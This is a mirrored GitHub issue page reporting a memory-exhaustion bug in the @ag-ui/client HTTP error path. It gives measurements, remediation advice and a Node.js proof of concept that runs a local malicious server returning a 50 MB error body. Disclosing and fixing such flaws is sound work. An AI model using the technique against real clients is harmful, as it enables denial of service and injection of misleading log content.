ag-ui-protocol / ag-ui-protocol/ag-ui

[BUG]: Error responses are read into memory whole: unbounded `e.text()` plus body embedded in the `Error`

Abierto
#2,521 3 comentarios 0 reacciones 0 asignados Ver en GitHub
Lenguaje dominante
Python
Estrellas
15.9k
Forks
1.4k
Merge medio
1 d 17 h
PR fusionados (30 d)
163

Descripción

# Error responses are read into memory whole: unbounded `e.text()` plus body embedded in the `Error`

Repository: https://github.com/ag-ui-protocol/ag-ui
Affected: `@ag-ui/client` (verified against published npm release 0.0.58)
CWE: CWE-400 / CWE-770 (Allocation of Resources Without Limits)

## Summary

On any non-2xx response, the HTTP transport reads the **entire** error body with `e.text()` — no size cap, no streaming, no timeout beyond the run's abort signal — and then constructs `Error("HTTP : ")`, storing the body again on `error.payload`. The success path streams via `getReader`; only the error path buffers unboundedly. This is the client-side counterpart of the Java server `readAllBytes` finding from the first advisory batch (F-15), in the TypeScript client runtime and on a different code path.

## Affected code

- `@ag-ui/client` (npm 0.0.58) `dist/index.mjs`, `runHttpRequest` non-ok branch — `e.text()` then `Error("HTTP …: " + body)`; body also stored on `error.payload`

## Observed behavior (measured)

Agent returns `500` with a 50 MB text body:

| observation | result |
|---|---|
| heap growth after one `runAgent` | 46.6 MB |
| full body retained on the error object (`payload === body`) | yes |

## Impact

A malicious endpoint OOMs the client with a single large error body, and the attacker-controlled text travels through `onRunFailed` into application UIs and logs (misleading-content injection / log pollution). Availability plus information-surfacing.

## Suggested remediation

- Read the error body through `getReader` under a byte budget; keep only a truncated preview.
- Build the `Error` message from the status plus a bounded excerpt, never the full body.

## PoC

Prerequisites: Node ≥ 20 with `@ag-ui/client@0.0.58` installed. Run `node poc_f27.mjs`; on success it prints a JSON verdict ending in `"confirmed": true` and exits 0.

```js
// poc_f27.mjs — F-27: unbounded response-body buffering on the HTTP error path.
// runHttpRequest, non-ok branch: e.text() reads the ENTIRE error body into a
// string with no size cap, then embeds it in Error("HTTP : ")
// and stores it on error.payload. A malicious server returns 500 with a large
// body → the whole body is buffered into memory + duplicated into an Error
// message → OOM; and the attacker-controlled body is surfaced via onRunFailed.
// Confirmed if heap grows proportionally to the body (>40 MB for a 50 MB body).
import http from 'node:http';
import { HttpAgent } from '@ag-ui/client';

const BODY = 'X'.repeat(50 * 1024 * 1024); // 50 MB
const evil = http.createServer((req, res) => {
req.resume();
res.writeHead(500, { 'Content-Type': 'text/plain' });
res.end(BODY);
});
await new Promise(r => evil.listen(0, '127.0.0.1', r));
const port = evil.address().port;

const before = process.memoryUsage().heapUsed;
let caught = null;
const agent = new HttpAgent({ url: `http://127.0.0.1:${port}/` });
agent.onError = { onRunFailed: (e) => { caught = e; } };
try {
await agent.runAgent({ messages: [{ role: 'user', content: 'hi' }] });
} catch (e) { caught = caught || e; }
const after = process.memoryUsage().heapUsed;

const grewMB = +((after - before) / 1048576).toFixed(1);
// core finding: the entire 50MB error body was buffered into the heap (OOM)
// with no cap; the body-in-Error surfacing is a secondary info-disclosure path.
const ok = grewMB > 40;
console.log(JSON.stringify({
finding: 'F-27-error-body-unbounded-buffer',
heap_growth_MB: grewMB,
error_message_length: caught ? String(caught.message || caught).length : 0,
error_payload_is_full_body: caught && caught.payload === BODY,
confirmed: ok,
}, null, 2));
evil.close();
process.exit(ok ? 0 : 1);
```

Guía de contribución

Abrir la guía de contribución

Evaluación

Este issue todavía no se ha evaluado.

Recibe los nuevos issues en tu correo

Un resumen breve de issues de GitHub para principiantes.